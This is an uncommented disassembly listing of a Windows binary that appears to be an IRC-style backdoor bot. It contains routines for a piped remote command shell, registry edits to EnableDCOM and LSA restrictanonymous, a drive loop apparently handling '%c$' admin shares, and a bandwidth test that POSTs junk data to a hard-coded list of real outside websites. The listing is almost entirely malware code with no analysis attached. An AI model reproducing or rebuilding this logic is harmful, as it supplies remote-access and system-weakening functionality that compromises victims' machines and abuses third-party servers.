[ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41A9E7 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41A9E7 mov edi, ds:dword_4F53CC push 3 push esi push esi push offset dword_4F3268 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle test eax, eax jz short loc_41A9E7 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41E4B0 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41E4B0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset byte_4F32A9 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_4F5340 ; CreateProcessA test eax, eax jnz short loc_41A9EF loc_41A9E7: ; CODE XREF: sub_41A8ED+2Ej ; sub_41A8ED+5Cj ... or eax, 0FFFFFFFFh jmp loc_41AAA1 ; --------------------------------------------------------------------------- loc_41A9EF: ; CODE XREF: sub_41A8ED+F8j push [ebp+var_4] mov edi, ds:off_4F533C call edi ; sub_50B3D5 mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_4F3264, eax mov eax, [ebp+var_8] mov ds:dword_4F326C, eax mov eax, [ebp+var_2C] mov ds:dword_4F3260, eax call edi ; sub_50B3D5 mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov ds:dword_4F32A4, eax jz short loc_41AA29 push [ebp+arg_4] jmp short loc_41AA2E ; --------------------------------------------------------------------------- loc_41AA29: ; CODE XREF: sub_41A8ED+135j push offset word_4F32AA loc_41AA2E: ; CODE XREF: sub_41A8ED+13Aj push offset dword_4F3270 call sub_41EA60 pop ecx pop ecx push esi push 0Ah push offset unk_450DA0 call sub_40B691 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov ds:dword_455F08[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A798 push esi push esi call ds:dword_4F5350 ; CreateThread cmp eax, esi mov ds:dword_455F14[edi], eax jnz short loc_41AA9F call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_450DC4 push eax call sub_41EA60 lea eax, [ebp+var_378] push eax call sub_415A3C add esp, 10h loc_41AA9F: ; CODE XREF: sub_41A8ED+189j xor eax, eax loc_41AAA1: ; CODE XREF: sub_41A8ED+FDj pop edi pop esi leave retn sub_41A8ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAA5 proc near ; DATA XREF: sub_401C87+2E02o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41AAEC call sub_41AB05 jmp short loc_41AAF1 ; --------------------------------------------------------------------------- loc_41AAEC: ; CODE XREF: sub_41AAA5+3Ej call sub_41AE2B loc_41AAF1: ; CODE XREF: sub_41AAA5+45j add esp, 10h push [ebp+var_14] call sub_40B9A7 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_41AAA5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB05 proc near ; CODE XREF: sub_41AAA5+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_4E3094, edi jnz loc_41AC37 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4E3038 ; RegOpenKeyExA test eax, eax jnz short loc_41AB90 mov ax, ds:word_450E38 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_4E2FEC ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41AB78 push offset dword_450E48 jmp short loc_41AB7D ; --------------------------------------------------------------------------- loc_41AB78: ; CODE XREF: sub_41AB05+6Aj push offset dword_450E6C loc_41AB7D: ; CODE XREF: sub_41AB05+71j push eax call sub_41EA60 pop ecx pop ecx push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey jmp short loc_41ABA3 ; --------------------------------------------------------------------------- loc_41AB90: ; CODE XREF: sub_41AB05+36j lea eax, [ebp+var_214] push offset dword_450E8C push eax call sub_41EA60 pop ecx pop ecx loc_41ABA3: ; CODE XREF: sub_41AB05+89j cmp [ebp+arg_C], edi jnz short loc_41ABC2 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41ABC2: ; CODE XREF: sub_41AB05+A1j lea eax, [ebp+var_214] push eax call sub_415A3C pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4E3038 ; RegOpenKeyExA test eax, eax jnz short loc_41AC30 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call ds:dword_4E2FEC ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41AC18 push offset dword_450ED0 jmp short loc_41AC1D ; --------------------------------------------------------------------------- loc_41AC18: ; CODE XREF: sub_41AB05+10Aj push offset dword_450F0C loc_41AC1D: ; CODE XREF: sub_41AB05+111j push eax call sub_41EA60 pop ecx pop ecx push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey jmp short loc_41AC4A ; --------------------------------------------------------------------------- loc_41AC30: ; CODE XREF: sub_41AB05+E2j push offset dword_450F40 jmp short loc_41AC3C ; --------------------------------------------------------------------------- loc_41AC37: ; CODE XREF: sub_41AB05+13j push offset dword_450F7C loc_41AC3C: ; CODE XREF: sub_41AB05+130j lea eax, [ebp+var_214] push eax call sub_41EA60 pop ecx pop ecx loc_41AC4A: ; CODE XREF: sub_41AB05+129j cmp [ebp+arg_C], edi jnz short loc_41AC69 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41AC69: ; CODE XREF: sub_41AB05+148j lea eax, [ebp+var_214] push eax call sub_415A3C cmp ds:dword_4E30BC, edi pop ecx jnz loc_41ADE6 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41AC8C: ; CODE XREF: sub_41AB05+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_4E2F0C cmp eax, edi mov [ebp+var_10], eax jz short loc_41AD2B cmp eax, 0EAh jz short loc_41AD2B xor esi, esi loc_41ACBA: ; CODE XREF: sub_41AB05+21Fj push ds:off_450E18[esi] push edi call sub_419909 pop ecx pop ecx push ds:off_450E18[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41ACDF push offset dword_450FAC jmp short loc_41ACE4 ; --------------------------------------------------------------------------- loc_41ACDF: ; CODE XREF: sub_41AB05+1D1j push offset dword_450FD0 loc_41ACE4: ; CODE XREF: sub_41AB05+1D8j push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41AD11 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41AD11: ; CODE XREF: sub_41AB05+1F0j lea eax, [ebp+var_214] push eax call sub_415A3C add esi, 8 pop ecx cmp esi, 20h jb short loc_41ACBA jmp loc_41ADC3 ; --------------------------------------------------------------------------- loc_41AD2B: ; CODE XREF: sub_41AB05+1AAj ; sub_41AB05+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_41ADBA loc_41AD3A: ; CODE XREF: sub_41AB05+2B1j mov edi, [esi] push edi call sub_421E60 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41ADAF push edi call sub_4197F6 push eax push 0 call sub_419909 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41AD6F push offset dword_450FFC jmp short loc_41AD74 ; --------------------------------------------------------------------------- loc_41AD6F: ; CODE XREF: sub_41AB05+261j push offset dword_451020 loc_41AD74: ; CODE XREF: sub_41AB05+268j push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41ADA2 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41ADA2: ; CODE XREF: sub_41AB05+281j lea eax, [ebp+var_214] push eax call sub_415A3C pop ecx loc_41ADAF: ; CODE XREF: sub_41AB05+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41AD3A xor edi, edi loc_41ADBA: ; CODE XREF: sub_41AB05+22Fj push [ebp+var_8] call ds:dword_4E3058 loc_41ADC3: ; CODE XREF: sub_41AB05+221j cmp [ebp+var_10], 0EAh jz loc_41AC8C lea eax, [ebp+var_214] push offset dword_45104C push eax call sub_41EA60 pop ecx pop ecx pop ebx jmp short loc_41ADF9 ; --------------------------------------------------------------------------- loc_41ADE6: ; CODE XREF: sub_41AB05+177j lea eax, [ebp+var_214] push offset dword_451074 push eax call sub_41EA60 pop ecx pop ecx loc_41ADF9: ; CODE XREF: sub_41AB05+2DFj cmp [ebp+arg_C], edi jnz short loc_41AE17 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41AE17: ; CODE XREF: sub_41AB05+2F7j lea eax, [ebp+var_214] push eax call sub_415A3C pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_41AB05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE2B proc near ; CODE XREF: sub_41AAA5:loc_41AAECp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp ds:dword_4E3094, edi jnz loc_41AF59 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4E3038 ; RegOpenKeyExA test eax, eax jnz short loc_41AEB6 mov ax, ds:word_4510A4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call ds:dword_4E2FEC ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41AE9E push offset dword_4510B4 jmp short loc_41AEA3 ; --------------------------------------------------------------------------- loc_41AE9E: ; CODE XREF: sub_41AE2B+6Aj push offset dword_4510D8 loc_41AEA3: ; CODE XREF: sub_41AE2B+71j push eax call sub_41EA60 pop ecx pop ecx push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey jmp short loc_41AEC9 ; --------------------------------------------------------------------------- loc_41AEB6: ; CODE XREF: sub_41AE2B+36j lea eax, [ebp+var_220] push offset dword_4510F4 push eax call sub_41EA60 pop ecx pop ecx loc_41AEC9: ; CODE XREF: sub_41AE2B+89j cmp [ebp+arg_C], edi jnz short loc_41AEE8 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41AEE8: ; CODE XREF: sub_41AE2B+A1j lea eax, [ebp+var_220] push eax call sub_415A3C pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4E3038 ; RegOpenKeyExA test eax, eax jnz short loc_41AF52 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], edi call ds:dword_4E2FEC ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41AF3A push offset dword_451138 jmp short loc_41AF3F ; --------------------------------------------------------------------------- loc_41AF3A: ; CODE XREF: sub_41AE2B+106j push offset dword_451178 loc_41AF3F: ; CODE XREF: sub_41AE2B+10Dj push eax call sub_41EA60 pop ecx pop ecx push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey jmp short loc_41AF6C ; --------------------------------------------------------------------------- loc_41AF52: ; CODE XREF: sub_41AE2B+E2j push offset dword_4511B0 jmp short loc_41AF5E ; --------------------------------------------------------------------------- loc_41AF59: ; CODE XREF: sub_41AE2B+13j push offset dword_4511EC loc_41AF5E: ; CODE XREF: sub_41AE2B+12Cj lea eax, [ebp+var_220] push eax call sub_41EA60 pop ecx pop ecx loc_41AF6C: ; CODE XREF: sub_41AE2B+125j cmp [ebp+arg_C], edi jnz short loc_41AF8B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41AF8B: ; CODE XREF: sub_41AE2B+144j lea eax, [ebp+var_220] push eax call sub_415A3C cmp ds:dword_4E30BC, edi pop ecx jnz loc_41B102 xor esi, esi loc_41AFA6: ; CODE XREF: sub_41AE2B+1ECj push ds:dword_450E1C[esi] push ds:off_450E18[esi] push edi call sub_41985D add esp, 0Ch push ds:off_450E18[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_41AFD2 push offset dword_45121C jmp short loc_41AFD7 ; --------------------------------------------------------------------------- loc_41AFD2: ; CODE XREF: sub_41AE2B+19Ej push offset dword_45123C loc_41AFD7: ; CODE XREF: sub_41AE2B+1A5j push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41B004 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41B004: ; CODE XREF: sub_41AE2B+1BDj lea eax, [ebp+var_220] push eax call sub_415A3C add esi, 8 pop ecx cmp esi, 10h jb short loc_41AFA6 push ebx call ds:dword_4F5464 ; GetLogicalDrives mov edi, eax mov bl, 41h test edi, edi jz loc_41B0EA loc_41B02C: ; CODE XREF: sub_41AE2B+2B9j mov eax, edi and eax, 1 cmp al, 1 jnz loc_41B0E0 cmp bl, 41h jz loc_41B0E0 movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41EC30 push esi push offset aC_3 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41EC30 add esp, 20h lea eax, [ebp+var_20] push eax call ds:dword_4E3028 ; GetDriveTypeA cmp eax, 3 jnz short loc_41B0E0 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41985D add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41B0A0 push offset dword_451270 jmp short loc_41B0A5 ; --------------------------------------------------------------------------- loc_41B0A0: ; CODE XREF: sub_41AE2B+26Cj push offset dword_451290 loc_41B0A5: ; CODE XREF: sub_41AE2B+273j push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41B0D3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41B0D3: ; CODE XREF: sub_41AE2B+28Cj lea eax, [ebp+var_220] push eax call sub_415A3C pop ecx loc_41B0E0: ; CODE XREF: sub_41AE2B+208j ; sub_41AE2B+211j ... inc bl shr edi, 1 jnz loc_41B02C loc_41B0EA: ; CODE XREF: sub_41AE2B+1FBj lea eax, [ebp+var_220] push offset dword_4512B8 push eax call sub_41EA60 pop ecx xor edi, edi pop ecx pop ebx jmp short loc_41B115 ; --------------------------------------------------------------------------- loc_41B102: ; CODE XREF: sub_41AE2B+173j lea eax, [ebp+var_220] push offset dword_4512DC push eax call sub_41EA60 pop ecx pop ecx loc_41B115: ; CODE XREF: sub_41AE2B+2D5j cmp [ebp+arg_C], edi jnz short loc_41B133 push edi lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41B133: ; CODE XREF: sub_41AE2B+2EDj lea eax, [ebp+var_220] push eax call sub_415A3C pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_41AE2B endp ; =============== S U B R O U T I N E ======================================= sub_41B147 proc near ; CODE XREF: sub_41B33E+CBp ; sub_41B33E+DDp ... arg_0 = dword ptr 4 call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx call sub_41EB70 cdq idiv [esp+arg_0] mov eax, edx retn sub_41B147 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B161 proc near ; CODE XREF: sub_41B33E+D4p ; sub_41B33E+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41BC70 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41B33A push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41E4B0 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AD91 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41B33A push 50h call ds:dword_4E2FC8 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call ds:dword_4E3048 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41B33A lea ecx, [ebp+var_28] push 10h push ecx push eax call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jz loc_41B33A push 32003h call sub_420C30 mov edi, ds:dword_4F537C mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41EB60 call sub_41EB70 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41E4B0 push 32000h push esi push ebx call sub_41E4B0 push ebx call sub_41BC70 push 323EAh mov ebx, eax call sub_420C30 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41EA60 push [ebp+var_8] push esi call sub_41F630 push offset asc_451344 ; "\r\n" push esi call sub_41F630 add esp, 40h push esi call sub_41BC70 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41B2B8 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B285: ; CODE XREF: sub_41B161+155j mov eax, [ebp+arg_0] loc_41B288: ; CODE XREF: sub_41B161+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax add eax, esi cmp ecx, ebx jnb short loc_41B29A push [ebp+var_C] jmp short loc_41B29B ; --------------------------------------------------------------------------- loc_41B29A: ; CODE XREF: sub_41B161+132j push ebx loc_41B29B: ; CODE XREF: sub_41B161+137j push eax push [ebp+var_4] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jz short loc_41B321 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41B285 loc_41B2B8: ; CODE XREF: sub_41B161+118j call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_43C4F4 fst [ebp+arg_0] fcomp ds:flt_43C4F0 fnstsw ax test ah, 44h jp short loc_41B2E2 fld1 fstp [ebp+arg_0] loc_41B2E2: ; CODE XREF: sub_41B161+17Aj push [ebp+var_4] call ds:dword_4E3060 ; closesocket push [ebp+var_8] call sub_41C9D0 push esi call sub_41C9D0 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul ds:flt_43C4EC fmul ds:flt_43C4E8 call sub_4201DC loc_41B31C: ; CODE XREF: sub_41B161+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B321: ; CODE XREF: sub_41B161+147j push [ebp+var_4] call ds:dword_4E3060 ; closesocket push [ebp+var_8] call sub_41C9D0 push esi call sub_41C9D0 pop ecx pop ecx loc_41B33A: ; CODE XREF: sub_41B161+19j ; sub_41B161+42j ... xor eax, eax jmp short loc_41B31C sub_41B161 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B33E proc near ; CODE XREF: sub_401C87+2E57p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41B147 push [ebp+eax*4+var_3C] call sub_41B161 push 8 mov esi, eax call sub_41B147 push [ebp+eax*4+var_3C] call sub_41B161 add esp, 10h test esi, esi jz short loc_41B43F test eax, eax jz short loc_41B43B lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41B441 ; --------------------------------------------------------------------------- loc_41B43B: ; CODE XREF: sub_41B33E+F4j mov ebx, esi jmp short loc_41B441 ; --------------------------------------------------------------------------- loc_41B43F: ; CODE XREF: sub_41B33E+F0j mov ebx, eax loc_41B441: ; CODE XREF: sub_41B33E+FBj ; sub_41B33E+FFj push 0Ch call sub_41B147 push [ebp+eax*4+var_6C] call sub_41B161 push 0Ch mov edi, eax call sub_41B147 push [ebp+eax*4+var_6C] call sub_41B161 add esp, 10h test edi, edi jz short loc_41B479 test eax, eax jz short loc_41B475 lea esi, [eax+edi] shr esi, 1 jmp short loc_41B47B ; --------------------------------------------------------------------------- loc_41B475: ; CODE XREF: sub_41B33E+12Ej mov esi, edi jmp short loc_41B47B ; --------------------------------------------------------------------------- loc_41B479: ; CODE XREF: sub_41B33E+12Aj mov esi, eax loc_41B47B: ; CODE XREF: sub_41B33E+135j ; sub_41B33E+139j push 6 call sub_41B147 push [ebp+eax*4+var_1C] call sub_41B161 push 6 mov edi, eax call sub_41B147 push [ebp+eax*4+var_1C] call sub_41B161 add esp, 10h test edi, edi jz short loc_41B4B3 test eax, eax jz short loc_41B4AF lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41B4B5 ; --------------------------------------------------------------------------- loc_41B4AF: ; CODE XREF: sub_41B33E+168j mov ecx, edi jmp short loc_41B4B5 ; --------------------------------------------------------------------------- loc_41B4B3: ; CODE XREF: sub_41B33E+164j mov ecx, eax loc_41B4B5: ; CODE XREF: sub_41B33E+16Fj ; sub_41B33E+173j xor eax, eax test ebx, ebx jz short loc_41B4C2 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41B4C5 ; --------------------------------------------------------------------------- loc_41B4C2: ; CODE XREF: sub_41B33E+17Bj push 2 pop edi loc_41B4C5: ; CODE XREF: sub_41B33E+182j test esi, esi jz short loc_41B4CD add eax, esi jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4CD: ; CODE XREF: sub_41B33E+189j dec edi loc_41B4CE: ; CODE XREF: sub_41B33E+18Dj test ecx, ecx jz short loc_41B4D6 add eax, ecx jmp short loc_41B4D7 ; --------------------------------------------------------------------------- loc_41B4D6: ; CODE XREF: sub_41B33E+192j dec edi loc_41B4D7: ; CODE XREF: sub_41B33E+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_4514F8 push eax call sub_41EA60 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_26C] push eax call sub_415A3C add esp, 30h pop edi pop esi pop ebx leave retn sub_41B33E endp ; =============== S U B R O U T I N E ======================================= sub_41B51B proc near ; CODE XREF: sub_401C87+255Ap ; sub_401C87+29DEp ... arg_0 = dword ptr 4 push esi push edi call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset dword_451558 mov esi, offset dword_4F32AC push 32h push esi call sub_41EC30 add esp, 18h mov eax, esi pop edi pop esi retn sub_41B51B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B56E proc near ; CODE XREF: sub_41786C+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4F539C ; GetVersionExA test eax, eax jz short loc_41B600 cmp [ebp+var_90], 4 jnz short loc_41B5D6 cmp [ebp+var_8C], esi jnz short loc_41B5BE cmp [ebp+var_84], 1 jnz short loc_41B5B0 inc esi loc_41B5B0: ; CODE XREF: sub_41B56E+3Fj cmp [ebp+var_84], 2 jnz short loc_41B600 xor esi, esi inc esi jmp short loc_41B600 ; --------------------------------------------------------------------------- loc_41B5BE: ; CODE XREF: sub_41B56E+36j cmp [ebp+var_8C], 0Ah jnz short loc_41B5CB loc_41B5C7: ; CODE XREF: sub_41B56E+77j push 2 jmp short loc_41B5FF ; --------------------------------------------------------------------------- loc_41B5CB: ; CODE XREF: sub_41B56E+57j cmp [ebp+var_8C], 5Ah jnz short loc_41B600 jmp short loc_41B5F0 ; 